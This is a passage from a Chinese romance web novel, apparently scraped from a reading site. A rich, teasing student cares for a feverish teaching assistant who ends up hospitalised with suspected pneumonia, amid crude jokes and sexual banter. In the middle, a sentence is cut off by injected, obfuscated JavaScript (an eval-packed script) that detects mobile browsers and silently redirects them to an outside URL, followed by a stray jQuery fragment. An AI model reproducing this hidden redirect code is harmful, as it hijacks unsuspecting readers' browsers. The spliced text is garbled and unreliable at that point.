倪旖差点被惯性摔前排去,憋着口怒火,探头到窗外,直接爆粗口:“你开快就开快,干啥玩意突然慢了,咬了尾巴儿一样,怎么滴,竞争到地狱上岗桑,还是急着抢太平间床位。” 司机吓得不敢说话,小姐脾气挺火爆。 倪旖收敛脾气继续唠嗑:“我那男友,真挺不错,你听我慢慢跟你说啊……” 司机好几次想打断,可大小姐丝毫不理会,一个劲阐述男友多么好。 快一个点了,还没消停。 倪旖那叫一个春风满面,看谁谁顺眼,从早到现在笑得合不拢嘴,叨叨咕咕个没完没了,惹得众人纷纷白眼…… “你开个发票,找倪总报销。”倪旖把这账单记在老爹脑袋上,等司机迫不及待停好车开发票单据后便急匆匆顺着校区主干道一路跑。 司机总算解脱。 丁越青耸耸肩膀,这套路倪旖就爱玩,三分心意说成十分用心,嘴巴会说话得很呢,只不过这次倒是很实诚,不说自己跑了好远的路费了好大的劲儿来吹嘘自己多努力完成对你所谓独一无二的关心。 蒋商鉴好不容易支楞着发软的双腿坚持到下课,眩晕得厉害。 这混蛋玩意儿,蒋商鉴觉得自己不是被发烧弄得虚弱,纯属被倪旖气着的。 “你没事吧。”丁越青过来搀扶这着助教,着急又嫌弃,“商商你这个磨皮增亮加白的面部效果,已经比你后面的墙都光滑细腻白皙了。” 蒋商鉴没说话,感觉自己像是被装在瓶子里,然后被瓶主不停地摇晃…… 这个瓶子主人是倪旖。 不得不承认光是说出这名字就牵动他的心脏了。 “没事。”蒋商鉴死鸭子嘴硬。 “你失魂落魄了。”丁越青淡淡说。 “你不用安慰我,我确实没有失魂落魄。”蒋商鉴撑着昏昏沉沉的脑袋。 “不,你失魂落魄。”丁越青再次这样说,很肯定,“我从认识你到现在,你只有一次失魂落魄。” 蒋商鉴抬眸:“什么时候?” “现在。”丁越青回答。 “怎么可能?”蒋商鉴佯装淡定,还顺便尬笑两声,“每次被撬走一作我命都没了。” “因为倪旖,”丁越青见对方立马收敛笑意,缓缓道,“你最好离她远点,她总是擅长装作一个偷跑出家门的小女孩,生怕被家里人发现就被逮回去了,拜托!她可是倪鸣女儿,你不会真觉得她是什么无害小姑娘吧。” “要你管。”蒋商鉴也不用他搀扶,就特别倔强挺着腰,单手攥教材就出门。 丁越青苦口婆心,扫了一眼蒋商鉴那里,幽幽道:“她就典型提起裤子不认人,你就算走到‘不得不’,也得把握好自己的‘分寸’。” “要你管。”蒋商鉴一字一顿,随后挣脱束缚。 “你别一血轻而易举给partygirl拿了。”韩沛插着腰就冷眼看他逞强。 party girl英美中指受雇在社交聚会上接待男客的交际花。 蒋商鉴没多大反应,他发烧根本听不清楚。 刚到门口,一个“小耗子”就速度极快蹿过来,吓他一跳。 蒋商鉴艰难地撑着墙壁,突如其来的小耗子卷起一阵风差点把虚弱的他吹倒,风仍旧隐隐吹在他敏感的鼻翼两侧,风中的自然甜腻气息蒋商鉴很熟悉,他认识这风,这风也认识他,这是倪旖的风。 倪旖确认蒋商鉴脸色还算正常就转移视线,邪魅淡漠眼眸打量着这几乎可称的上闹剧的一幕的始作俑者,一副似笑非笑的讥诮表情。 “partygirl?”倪旖用极其地道的英伦口音重复一遍,笑得邪魅,“那你对象宝贝呢?MB?” MB就是money boy,需要花钱才能得到服务的男孩,就是鸭。 36.MB 丁越青面对这样一个彪悍的女孩总是发怵,她眼神瞅着不爽之人就充满着桀骜不驯。 倪旖收回了目光,懒得计较,实际等着有时间再收拾这傻逼,抬眸踮起脚尖埋在蒋商鉴微微长的发间。 她的头发软软的,磨蹭得蒋商鉴的脸面痒酥酥地,生理性放松下来。 可想到她的绯闻,一种深深失望顿时攫住蒋商鉴的心。 倪旖擦着蒋商鉴肩膀,恶狠狠剐了眼丁越青。 “你不用来,让外卖小哥骑电瓶车送我去医院就行。”蒋商鉴也不知道闹哪门子事儿,将人轻轻往边上一撇,醋溜溜就擦着她胳膊肘离开。 倪旖一脸懵逼,刚要转过身就瞅着老熟人笑得猥琐,这下好了,都懂了这逼估计说的不止“partygirl”,便用手比划抹脖子动作,小声威胁:“你再敢掺和我的事儿,你那堆小宝贝也别想好,等着吧你。” 丁越青皱眉:“你敢跟我父母说我一直找不三不四的人,你等着。” “谁先搅和谁的?臭不要脸。”倪旖咬牙切齿,要不是怕暴露形象,一般这时候一个踹就过去,还啰嗦这么多没用的玩意儿。 丁越青皱眉道:“我给你转钱怎么没收?还把我给你转的所有钱全打我卡里。” 倪旖表情厌恶地说了句:“收起你的钱吧,你家还没我家有钱。” “你丫别玩老实人,丢不丢人?”丁越青跟她长时间看不惯,总是争锋相对,这时候又被怼嘴直接爆粗口,只不过面上笑嘻嘻的,倪旖爱玩儿。 “要你教导,管你MB去,再多说一字,你懂。”倪旖懒得废话,扭头就去追蒋商鉴,那发高烧也走不了多远,本以为没那么严重,两小时前脸色还不错的,现在跟病入膏肓似的。 “喂——”丁越青蹙眉,不放心哥们叮嘱,“赶紧用水泥封心锁爱吧。” “滚——” “滚——” 俩人异口同声,头都不回。 “好心当驴肝肺是吧?”丁越青真觉得自己不值得,热脸贴冷屁股这不是嘛,嘀咕,“破锅配烂盖,不对,盖是全新的,服了,这商商算是完了。” 丁越青说着话,还欷款了两声。 倪旖这个花心大萝卜,总是极其擅长露着稚嫩的笑意,让人情不自禁爱她。 “不需要你,我去搭外卖小哥顺风车去。”蒋商鉴酸溜溜耍脾气。 他没真正发过脾气,可能在倪旖面前觉得会被特殊对待才敢放肆的。 倪旖举着那几盒退烧药,扶着他腰部,哄道:“哝——,看,我给你买的药,坐出租给你买的,这是发票呢,商商不生气好不好?来得迟是我买药耽误的。” “你又骗我。”蒋商鉴眼睫微微湿润的,可还是装作不信。 “我不会骗商商的。”倪旖踮脚尖摸摸他额前被虚汗濡湿的发。 蒋商鉴就是酸,可是尊严让他缄口不言,绯闻对象怎么问呢? 没法问,他不敢的,他怕问到他不想听的。 “社保卡带了嘛,我送你医院。”倪旖牵着他手就很温柔安抚他情绪。 “不要你送。”蒋商鉴就使劲作妖,他总是包容别人的情绪,堆积太多,导致他都忘记他也是人,有自己的喜怒哀乐,不必总在尴尬时说些玩笑缓解气氛。 “商商,还是要多多锻炼的。”倪旖索性无视他请求,岔开话题。 “我体质很好。”蒋商鉴生闷气。 “我是说锻炼接受别人爱的能力,我会教你的,成功的次数多了以后,就有了底气,如果这些都填补不了你骨子里就缺失的安全感,没关系我还有足够的爱。”倪旖低声细语安慰着他。 蒋商鉴就定神望着她,她这个娇生惯养的富家小姐也会体察别人的难堪嘛? 倪旖保持微笑,她对于玩弄人心总是极具天赋的,所以表面人缘好。 蒋商鉴为了定定神,就上手敲敲她脑壳。 “你敢打我?”倪旖抬眸威胁道。 “你都要吃掉我,我干嘛不打你?”蒋商鉴幽幽道。 “那你就不要再负隅顽抗。”倪旖笑嘻嘻开玩笑。 “你走开,我还要去思言楼准备辩论表演赛。”蒋商鉴冷脸,胳膊肘一抽踉踉跄跄往前走。 倪旖小跑着跟几十米路:“商商,我跟他没事儿,一点情感羁绊没有,就父母那一辈熟悉,非得介绍着培养感情,他花花公子,床上生活极其混乱,脏得要命,所以每个月给我点钱管住嘴巴用的,顶多金钱交易关系。” 倪旖知道他那倔脾气,低头掏出手机给妃子发条消息,见来上课学生鱼贯而入的,转身就楼梯间来给爸爸打电话,语气很僵硬:“daddy,我不愿意再跟丁越青接触培养感情,他一直在外面瞎搞。” “宝宝一直都知道,为什么不提早说?”倪鸣将文件夹闭合,语调莫名强硬,不过这小祖宗,可不是他装起逼来做生意一吓唬一个准,可不爱看脸色。 “你是要再安排个家里有背景的男孩嘛?”倪旖嗤笑,也咂摸到他言外之意,幽幽道,“他今天搅和我的事情,让我在蒋商鉴面前不如意,我也不会让他好过,直接跟他父母说吧,我是他能指手画脚的?” “宝宝,你是喜欢上次那个小蒋?”倪鸣语气温和安抚闷头生气的倪旖。 “我只是不想让他对我产生偏见。”倪旖不敢在父母面前说喜欢,太重了这个词汇,随后质疑,“你不是没见过他?” “我那花痴的许女士早跟我说他有多么帅气,一看照片,我俩就知道,他是肯定逃不掉你的魔爪。”倪鸣猜测还是很准确的。 “确实很帅。”倪旖喃喃。 “宝宝还是那么没本事,招惹老实人,是不是?”知子莫如父,这么长时间倪鸣多少明白闺女那沾花惹草怂蛋性子,就爱挑软柿子捏,招惹了又不敢负责。 “daddy~”倪旖羞恼极了,“你都知道好久了吧?还装不知道逗我玩。” 倪鸣笑笑温柔道:“宝宝接下来有什么安排?” “不知道,我嫌弃蒋商鉴麻烦,等他发烧好,我就把他甩掉,老跟我腻歪,一直得我哄着,要命,我哪有那么多时间跟他浪费?找个乖的,绕着我转。” 倪旖是有点渣在骨里,恋爱就是舒服才谈,浪费时间耽误精力不如躲远点。 对,她就很渣的,她没认真,没…… “宝宝,你说,我跟许女士如此纯情的基因怎么一点没遗传到呢?”倪鸣不怎么管倪旖情感,她爱玩,她流淌着家族癫狂的血液,到大一点就会成熟。 再说,他跟妻子有个默认想法,到了一定年纪找同家庭背景的男孩联姻,丁越青只是缓冲,他们在慢慢筛选更合适的,完成权势结缔。 “那你们间肯定有个人不纯情,不然怎么我遗传渣性格?”倪旖开玩笑。 “不会,”倪鸣永远都挂着可亲的,谦逊的微笑,待人接物彬彬有礼,对待自家闺女会很愉悦开玩笑,“可能你是从西瓜里切出来的,宝宝其实是西瓜太郎。” “才不是,这么花心,肯定是大萝卜里蹦出来的。”倪旖一本正经。 “那宝宝会郑重表白?”倪鸣还是得侧面敲击。 倪旖不以为然,不由冷笑道:“我从不郑重对人说‘我喜欢你’。这四个字,我永远不会说。以前不会,现在不会,将来当然也不会。我才没对蒋商鉴认真,没,就没。” “……”倪鸣默然。 天际渲染玫瑰色,云彩薄雾被肆意霞光染得明灿灿,漂浮在水面似的坦荡。 “先挂了,还有我翘课了,因为蒋商鉴生病我让司机送我去药店的,你给他报销路费啊。”倪旖抬眸望着远处,跟着妃子发来的位置定位去思言楼。 “那我真跟丁越青父母沟通?”倪鸣逗她玩。 倪旖这下臊得够可以,一上头啥都说,还没两分钟就后悔,假装无所谓:“过些日子再讲,不是想替他瞒着的,我挺屈辱,不过丁越青给钱倒挺大方。” “钱捞得还没够就跟Daddy讲,Daddy有很多。”倪鸣知道闺女不爱金钱,就爱刺激新鲜,所以一直威胁丁越青要封口费,很爱玩。 “嗯。”倪旖笑得发抖,“Daddy?It''s like we say:any man can be a father,but it takes a hot middle aged guy with a big job to be a daddy。” 倪鸣扶额,隔空被鬼灵精怪的女儿逗乐了。 “这么高兴?”许珊裹着浴袍笑着走来,随意坐在酒店沙发用毛巾擦拭头发。 “你的女儿太会搞怪。”倪鸣自然而然接过那毛巾侧身给她擦。 “怎么光是我的女儿?你没提供帮助?”许珊斜睨。 “不准在休假时气我,我的心脏会很痛的。”倪鸣作势捂着胸口演戏。 倪旖望着蒋商鉴一瘸一拐扶着墙虚弱背影,突然觉得他性格特别像泥地里打滚的小冻猫子,饶有趣味欣赏着,保持不慢不快速度跟着好一段路。 什么是小冻猫子? 想象一下,一只小猫,因为某种原因被主人抛弃,大冬天里瑟瑟缩缩蹲在路边,眼神狐疑警惕地看着过往的行人,时不时地大叫一声,脏兮兮的可怜巴巴的样子。 倪旖这么一想,觉得蒋商鉴超级惹人怜爱,生气起来en和eng都不分,前鼻后音不分时真的好可爱的嘞,这要是一脚踹掉还有点不舍得,主要是没玩腻味,单纯怕哄爱撒娇的讨厌鬼很浪费时间。 在这个过程中,倪旖甚至偷偷地拧一下大腿保持理智,居然还是疼的,可是该怎么解释这几天来,她一碰他心就乱掉了,她急迫想要踹掉蒋商鉴真的只是因为麻烦嘛?一见蒋商鉴,倪旖就犯迷糊,被蒙了眼似的,干蠢事拦也留不住。 谁是猎物?谁是礼物? 她一见蒋商鉴就没法理智思考,她讨厌这种感觉,不受掌控。 倪旖微微眯着眼睛,两道低而浓的眉毛浅浅蹙了一下,嘴边掠过一抹冷冷的微笑,好像在嘲笑什么。 她在想,就算走到那一步坦诚相待,也是蒋商鉴先掏心窝子。 人慢慢钻进教室里了,倪旖愣怔怔走出了实验楼,站在阴沉街道旁边。 心中迷惘惆怅,若有所失,望着自行车一辆辆跟溪水小鱼似的滑过去,望迟到学生匆匆忙忙奔走,心中是越来越沉重,也越来越困惑。 她感觉要完蛋。 这件麻烦事使倪旖心底掀起阵阵暗涌,但她决定却对此守口如瓶,尽管她已经被这种情感牢牢控制。 她才不服输。 她不会向爱意低头。 爱,太危险。 “同学,你是哪个专业?可以给个微信嘛?” 正出神呢,就被挡住去路。 倪旖烦躁呢,一抬眸,男的还挺帅,语气都好点,夹着嗓子道:“有事嘛?” “想要微信联系方式,就样貌特漂亮,是我很喜欢的那种,想进一步认识。” 这年纪段有点小帅的男生都不懂迂回战略,直球厉害。 倪旖还挺喜欢这种直球性格的,也没好意思拒绝,便把手机号给他。 男孩立马就提交好友申请,还发消息要个备注。 倪旖早就闪躲开,跟上虚弱的蒋商鉴,就算他忍受不了她恶劣趣味,忍无可忍甩掉她关切搀扶的手,不断在她手掌伸缩,跟拳打脚踢似的,以期脱离魔爪。 倪旖死死攥扶他腰,抬眸道:“刚刚有男孩要我联系方式,没好意思拒绝。” 蒋商鉴都能想象那直球男孩一定挺帅气的,充满朝气和青春活力的面孔,那一双激情的热烈眼神,简直就让人难受至极,他又吃醋了。 “跟我说干嘛。”蒋商鉴幽幽道,语气十分委屈。 “因为我给的是你的联系方式啊。”倪旖就乐意逗人玩。 蒋商鉴气得脑门冒汗,摸着手机就瞅着联系人好友申请验证,直接删除。 倪旖抓住时机,趁他没反应就紧紧地搂着他细腰,一时没有说话,也没有什么动作,可以听到他瞬时紧促的心跳声 蒋商鉴一动不敢动,感觉倪旖像一只温顺的猫,蹬在他的怀里,只时不时地,动弹那么两下,似乎提醒猫奴,很希望得到主人的进一步爱抚。 “蒋商鉴,我必须跟你先说明,我父母暂时没放弃给我找靠谱联姻对象想法。”倪旖很轻声说。 “那你想过我嘛?”蒋商鉴严肃问,可还是觉得,倪旖真是很勇敢,勇敢到让人觉得棘手的地步。 倪旖露出淡淡一抹笑意,没有任何多余的动作,却带着说不出的慵懒,抬眸望向他:“你知道,我当时还没遇着你,如果你真的很介意,我们等等。” “等什么?”蒋商鉴嗤然,随后转身就走,步履生风。 倪旖莫名其妙的,那能咋整?追着他背影道:“稍微有点钱有点势的都会给孩子提前规划成长路线,从幼儿园开始到和什么人结婚。何况我家只手遮天呢?你想开一点嘛,你还是我目前最喜欢的小宝贝呢,哈?” 蒋商鉴气炸了,回头瞪了一眼:“你滚!” 倪旖愣在原地。 蒋商鉴压住强烈颤抖的心脏,脑袋里全是倪旖甜腻腻香味,就像她爱看的《一千零一夜》中的那个被妻子斩断指头的男人的肉汁的味道,擦也擦不干净。 “干嘛野心那么大?”倪旖嘀嘀咕咕的。 蒋商鉴能立刻体验那震动于胸板下方的心脏,每当一听到这种疯癫话时,情绪上头,那袭来的疯狂和冲动淹没他,他彻底成了恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250176|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔,内心里充满怪异丑恶思想。 倪旖怎么能这么无耻? 蒋商鉴带着恍惚和涣散的眼神,像个醉鬼般对她满不在意的呼唤置若罔闻,他看向了校园熙熙攘攘过后寂静的大街,散漫地、脚步不稳地走向目的地。 “学长没事吧?” “是身体不舒服嘛?” “我扶着您?” …… 别人来扶胳膊时关切的询问他却一点也听不见,他再次不争气想到倪旖,眼前浮现倪旖半眯着狡猾的眼睛把头发往后捋的故意撩拨小模样。 然后是她符合性格那又娇又软的腻歪声音,再是她喜欢思考时咬指甲的习惯,还有走路时总会自然而然却毫无察觉亲昵挽住他小臂,就像婚礼誓词前面的红毯似的。 此刻,他的心中现出一种温柔,这让他很崩溃。 蒋商鉴好难过。 如果他不是那样年轻,也许不会爱上她。 如果他不是那样年轻,也许就能在一起。 “师哥?” 蒋商鉴耳朵听得模模糊糊,但生理反应回眸,一瞬间失落,一个陌生女孩。 “我不喜欢其他女孩叫我师哥的。”蒋商鉴失神状态喃喃自语。 陌生女孩虽然没懂,可还是凑过来问:“没事吧?” “没事,谢谢。”蒋商鉴几乎是礼貌敷衍说道。 这夏天早上往往很反骨,就是吹会风都黏热,薄薄的汗透过白衬衫渗出来,细密的汗珠挂在隆起的胸膛上,蒋商鉴呼吸很急促,整个人就像逃亡败北的士兵。 蒋商鉴的突然出现引起了现场大骚乱,其受女孩子的欢迎程度足以让所有男人羞愧欲死。 帅哥呢,就是加分的,这场辩论表演赛就是邀请长得好看的宣传,等暑假过后新生来的时候,直接放视频,很拉风的。 发烧后身体不利索,总是很想睡觉的,蒋商鉴撑着胳膊就迷迷瞪瞪闭眼假寐。 就在他似睡而未睡的当口,一个人悄没声息地走近,极其自然将边上脸红得一塌糊涂的女孩赶走自己顶包位置,揪起一小缕发丝,伸到他的耳朵眼里,轻轻撩动着。 蒋商鉴蹙眉,觉着了痒,下意识地伸手抓向耳边,没抓着作案工具,倒抓住了一只小手,一惊,怕手欠造成误会,便慌忙睁开眼。 倪旖笑嘻嘻冲他眨眼。 蒋商鉴的睡意,顷刻间恢复。 遇着她,就装水杯,还以为陌生人得道歉,是她,就爱搭不理当空气。 本想装一装,可是嗅着倪旖身上那甜腻腻香味就迷迷糊糊睡着。 倪旖就抬起左手捂他耳朵,肩膀靠着他。 “您是?”过来一个穿辩论西服的女负责人微微俯身。 “我是蒋商鉴对象,他发烧了,我得带他去医院,不好意思,这辩论没法参加,后备队友上吧。”倪旖声音很轻,生怕他醒来,用额头碰碰他额,烫得厉害。 “对象?”女负责人一愣,随后沉默,叹息。 蒋商鉴揉揉眼:“我不认识她,我可以坚持的。” “我们是恋爱关系,”倪旖笑着强调,随后被蒋商鉴剐了眼,有点犯怵,“呃呃呃……皮肉生意。” “……”蒋商鉴沉默气到发笑,“你走开!” “快点,我数到三——” “你说对就对吧。”蒋商鉴纠结脑袋都打结,就在一边烦得要命,那表情就跟老婆被卖保健品的洗脑了,还说啥都不听都不听的无奈。 倪旖直接捂他嘴巴,敷衍了事:“别听瞎哔哔,我现在就带他走。” 蒋商鉴就被半胁迫着在众目睽睽下摁着脑壳毫无尊严押解走。 女负责人就很悲剧,这最帅的走掉,这表演赛咋整?表演表演你猜看啥? 倪旖走了没两步:“新生表演赛,暑假过后如果有时间,他会弥补的。” 蒋商鉴走半路手机还被抢夺,怕他报警。 “干嘛老替我做决定?”蒋商鉴咕哝着。 倪旖攥紧拳头直接威胁:“你别给苏打饼干扎眼儿、给趣多多点巧克力豆。” “……”蒋商鉴哼唧哼唧。 倪旖一路拽着沉着脸的蒋商鉴,到前台直接挂发热门诊。 “他高烧,得立马诊断。” “病历本门口买去。”导护抬眸很淡定。 倪旖一瞬间就火蹿上来,板着脸门诊处去买门诊病历本。0.5元。 蒋商鉴就被留在等候椅上量体温。 倪旖急匆匆过来,从他胳肢窝拽出体温计,一看,妈蛋,40.2。 “这都能煎鸡蛋。”蒋商鉴知道她着急,顺嘴开玩笑。 倪旖懒得搭理他的小幽默,都快急哭了,拽着他就换个医院,打了个电话联系好解放军附属二院,院内二楼,他再次量了体温是40℃,等抽血看血常规,费用是154.5。 说可以用医保卡,但是蒋商鉴的电子医保卡里没钱。 倪旖都不晓得怎么样看病,在国外都是家庭医生的。 就这三脚猫功夫还是上网搜的。 医生皱眉极速询问病情经过,及吃药和过敏情况。 让选择吃药还是吊针,蒋商鉴选择吃药,医生开中成药,让一次泡一格。 出于医者直觉,拉着他不让走,让做个胸片。 一看,检查出疑似有胸腔积液,双肺有炎症散在灶。 这下走不了,得立刻住院。 但还是没逃脱打针,他发烧厉害,得立马降温。 倪旖跑前跑后办理住院,等他躺床上时,才松口气,出于谨慎,倪旖按照医生开了的药,在单子上找取药位置,出去缴费买药,拿到后找到自己能喝的,吞下去防止被传染,还带上口罩。 蒋商鉴就看她好一顿操作,皱眉:“昨天那么亲密接触,你也查查去。” “我查了,倪旖在他床前握着他手,轻轻安慰,“等找着细菌或真菌确定是否感染再说,你不要自责,没事的。” “住院第一天,血要抽5管,等会儿就来了。”蒋商鉴强撑精神气跟她说话。 “对,你是之前还整过一年医学,这也知道嘛?”倪旖泪眼婆娑。 “懂一点,大一暑假在医院科室轮过,学业导师带我过来的,就是缓解转专业焦虑情绪,可我更焦虑,回学校后立马办理申请转专业手续。”蒋商鉴咳嗽两声 “那你诊断自己什么问题?”倪旖抬手抚着他胸前给他顺顺气。 蒋商鉴那时候稳扎稳打,学得也快,所以学业导师很珍惜他的,才找关系给他轮科室时间考虑是否转业。 “病原学检查滞后,阳性率也很低,一般临床上按患病环境分类多,我这可能是社区获得性肺炎,但是在潜伏期,等会儿抽血那白细胞估计在一万,或小于四千。” 37.好黄 倪旖点点头,世界上是有天才的,无论在什么样的位置,他都发挥出远远超出一般人的能力,叮嘱要乖之后就起出去给他买点生活物资,估计得三天住院起步。 大包小包就进来,屋里挺多人,倪旖直接无视,坐在蒋商鉴床沿边。 “肺炎床边教学。”蒋商鉴微微蹙眉。 “刚刚有护士抽血嘛?”倪旖拿一次性杯给他倒点水。 “嗯,先退烧,再根据感染源打抗生素。”蒋商鉴闭着眼着实有点难受。 “怎么了?去厕所嘛?”倪旖立刻猜出痛苦根源,没有男护士,谁拿吊瓶?这一堆医学生都忙呢,谁管你死活。 “不用。”蒋商鉴就死鸭子嘴硬,想着等教学结束自己去。 “我又不是没见过标准版。”倪旖催促着,就见蒋商鉴满脸不情愿被撺掇起来,时刻放缓速度等着高举吊瓶的倪旖。 到了卫生间,蒋商鉴严肃道:“眼睛闭上。” “就不闭眼,赶紧的!”倪旖不想欺负病人,不然此刻就揍他了。 “不要。”蒋商鉴梗着脖子拒绝。 “快点,我数到三,三——” 蒋商鉴一脸不情愿拉裤链放水,等了一会儿,扭头:“出不来。” 倪旖只好扭头给他点时间,这玩意都这样了,只能缓缓,总不能撸完再尿。 过了点时间,蒋商鉴淡淡道:“给我张纸。” “我没带纸,你将就着。”倪旖抬眸好无奈。 “好脏。”蒋商鉴就不干。 “你先将就,我等会儿出去给你买一次性内裤,乖,赶紧的。”倪旖敷衍。 蒋商鉴摆摆头:“太脏了我一秒都受不了。” “快点,我数到三——”倪旖直接发狠。 蒋商鉴一愣,立马塞好,耙耳朵地区对蜀道山是骨子里恐惧。 倪旖将洗手水龙头打开,示意他洗洗那手,她还没当过保姆,这无师自通。 “洗干净点,不然我不让你碰。”倪旖示意他继续洗手。 “你让我碰过?”蒋商鉴气呼呼的。 “快点,我数到三——”倪旖瞪一眼。 蒋商鉴赶紧洗手,洗得贼认真。 倪旖在一边嘀嘀咕咕:“男性生殖结构就有漏洞,和排泄器官一套,强行排尿会让膀胱开关口闭合不严,容易不孕不育。” “你——”蒋商鉴脸一直潮红,略微有些紫涨的颜色,像熟透了的苹果。心里不是滋味,这就是生物女的直言不讳嘛?一点都不害臊? “干嘛?不对嘛?”倪旖很耿直,随后笑得邪,“超长的。” 蒋商鉴上手捂她嘴巴直接拉出去。 倪旖气得发狂,嘴巴上那只手刚刚才洗的,妈蛋,她还没忘记他那手干过啥。 “你!”倪旖瞪他一眼,气得说不出半个字。 蒋商鉴凑上她耳朵,用极其细微声音笑道:“倪旖不喜欢嘛?” 倪旖立刻就明白过来,顿时绯红了脸,迅速背过身去,一溜烟地就跑开了。 妈蛋,屎壳郎玩意儿竟敢调戏她。 倪旖去医院超市买东西时满脑子都是黄色笑话,准备说个更黄的让他害臊,等回来,病房里就没医学生病房教学了,安安静静。 “给——”倪旖将那一次性内裤甩他床铺上。 蒋商鉴颐指气使的一副大爷模样:“一只手换不了。” “刚刚还抱怨脏呢。”倪旖说罢,就想先把那收起来。 蒋商鉴故作虚弱,逗她玩:“我的意思是,你帮我换。” 倪旖都怀疑听力不好,满脸错愕,反问:“我是倪旖,不是你婆姨。” “那我这么脏,你受得了?”蒋商鉴笑得脸颊发红。 “下不为例。” 倪旖把床隔帘拉严实,洗过手后将那盒装一次性内裤抽一条出来就示意他别瞎动弹,拎着一把酒精消毒湿巾,脑袋钻进他被窝两手一个劲鼓捣着。 嗅到淡淡沫浴露味道,很轻很干净。 也不知道碰过多少次他那里,总算结束这换裤子之旅,头发跟鸡窝似的钻出来。 就这姿势很奇怪,倪旖梳理发丝缓解尴尬:“我很厉害吧。” 蒋商鉴没说话。 倪旖察觉疑惑,就顺着他目光一回头,那心跳得要从嘴巴里吐出来似的。 是,戴口罩的妃子。 “嗨,我来得真不是时候。”妃子尴尬摆摆手,挤出一个极其僵硬的微笑。 “不,你来的正是时候。”秉持“我不尴尬,那就是你尴尬”原则,倪旖佯装淡定绑头发,一翘下巴示意,“我家蒋商鉴快死掉了,你陪他聊聊遗言。” “所以你在满足他遗愿?”妃子试探询问,随时做好逃跑准备。 “……”倪旖就知道那个姿势很容易让人想歪,便解释,“他尿裤子了。” “你有那么好心?”妃子是不信的。 倪旖懒得解释,越描越黑,破罐子破摔:“对,就是你想的那样! “别生气,开个玩笑。”妃子这真相信没其他的,单纯换裤子。 海星隔着门探出头,笑嘻嘻缓解奇妙气氛。 “这事儿我熟悉,我觉得,拿别人的钱还被别人,简直是太他妈日怪的一件事了,就像有人要给你做足底按摩,还要硬塞给你钱,你懂这逻辑吧?” 倪旖稍微好奇:“你干过MB?” “保密。”海星眯着眼睛看了眼,随后沉默矢口否认。 “没事没事,要保护好自己,等等,你最近跟蒋商鉴接触了嘛?”倪旖报之以怜悯之心,随后蹙眉十分严肃。 “傻子,他就放荡不羁爱自由,不是那种。”蒋商鉴温柔摸摸她脑袋。 才意识到被骗的倪旖简直气得要发狂,可是现在直接发飙很没礼貌的。 蒋商鉴就饶有兴趣地观察着倪旖,看着她脸上的笑意突然凝固,脸色由白变红又由红变青黑,一副要扑上来咬人的凶恶表情。 老实说,要不是期待看到倪旖小朋友气急败坏的样子,他才不会一点话都不帮忙解释呢。 现在,蒋商鉴感到了极大的成就感。 “他换洗衣裳都带来了?”倪旖也没再生气,也开得起玩笑。 “哝——,这儿。”妃子将那纸袋放床尾,“他那严重嘛?” “没出结果,知道得明天,你赶紧走,也没确定是不是有传染的。”倪旖将那纸袋子搂在怀里随便翻几下就顺手搁在床头柜里。 “那你不怕啊?”妃子往门边闪闪,确实挺怕被传染,家里那突然到来的免疫力极低的前女友估计够呛,得稍微注意点。 “昨晚深吻都来好几回,怕个屁,他要出事,我也跑不了。”倪旖随便就盘腿坐在床尾,随意回答。 妃子眼神幽怨望着蒋商鉴,那人就闪躲眼神:“不是说没山上女鬼?嗯?不地道,这都不跟哥几个讲,多心碎啊我。” “赶紧回去,你们都别再来,出院我请你们吃饭。”倪旖弯腰找根香蕉剥皮特自然就喂蒋商鉴吃。 “你还挺会做仆人的。”临走妃子感慨。 “什么玩意?”倪旖不接受夸赞。 “谢谢你照顾我家商商。”海星说好听的。 倪旖直接说:“现在他是我家的了。” “你家的你家的。”妃子拉开门就出去。 倪旖扬声补充:“本来就是我家的,你算哪根葱?” 蒋商鉴语调愉悦:“我是你家的?” “才不是。”倪旖直接把香蕉往他喉咙里怼,“难受吧?所以,我永远不会为你提供这种服务的。” 蒋商鉴快速将香蕉丢垃圾桶里,咳嗽两声,脸颊都咳红了,气若游丝:“那我无人认领了。” “那我就勉为其难把你认领了。”倪旖就是很高傲的。 蒋商鉴蹙眉:“真的多亏你啊,我博士毕业的未来道路一片黑暗,下午解剖课,我怎么给他们上课?” “睡你的,找你那懒鬼导师授课,自己都不来,让小组里博士讲课,没见过这种专业课都如此放肆的,习题课让助教糊弄得了,还搞这?”倪旖嫌弃要命,也不知道蒋商鉴走了哪门子的霉运,被老头塞给摸鱼达人小导师。 “反正我打完点滴得回去一趟,不然我毕不了业。”蒋商鉴语气落寞。 “那么严重?”倪旖还没理解中国职场规章制度的繁琐臃肿。 “上课迟到被举报影响教授考评,我作为助教,教授不在来代课,导致教授受处分,他不高兴,我毕业道路就会很狭窄,虽然已经够狭窄。”蒋商鉴无语道。 “助教?就是鞍前马后的狗腿子呗。”倪旖嘲弄他的身份。 “……”蒋商鉴失语,“干嘛说得那么直白?” “你将来干嘛?教书嘛?”倪旖玩他手掌,仔细观察每一个细微的纹路。 “生物学这基础学科,教书最稳定的。”蒋商鉴没直接回答。 “要稳定干嘛不考公务员?嫌基层干部工资低?”倪旖试图慢慢接近他的心。 蒋商鉴没说话。 倪旖继续半带玩笑道:“我以前也一直相信储备干部肯定能当干部,直到有一天我发现大润发招杀鱼的,也叫储备干部。” 蒋商鉴接着话头继续玩笑:“理论上讲,只要没有明文规定不得升迁,都可以算储备干部,基层公务员也能算储备□□。” 倪旖笑了两声:“你想做什么,要跟我说,你知道,我背景很大的。” “我讨厌走后门,无论是我走,还是其他人走,清白很重要的。”蒋商鉴直白拒绝,他受过后门侠的苦就很难重蹈覆辙,再说他也犟脾气,别人处之若骛、求之不得的后门,他并没那么感冒。 “师哥,你有时候真的很傻,有关系不用,天底下最傻的那个。”倪旖没过多劝服,蒋商鉴不想就不想,她有成就蒋商鉴的能力,也有接洽蒋商鉴执拗的包容。 “所以我得回去一趟,调课得提前申请的,无故旷课处罚很严重。”蒋商鉴手掌覆在她腕骨处,就很自然摸一摸。 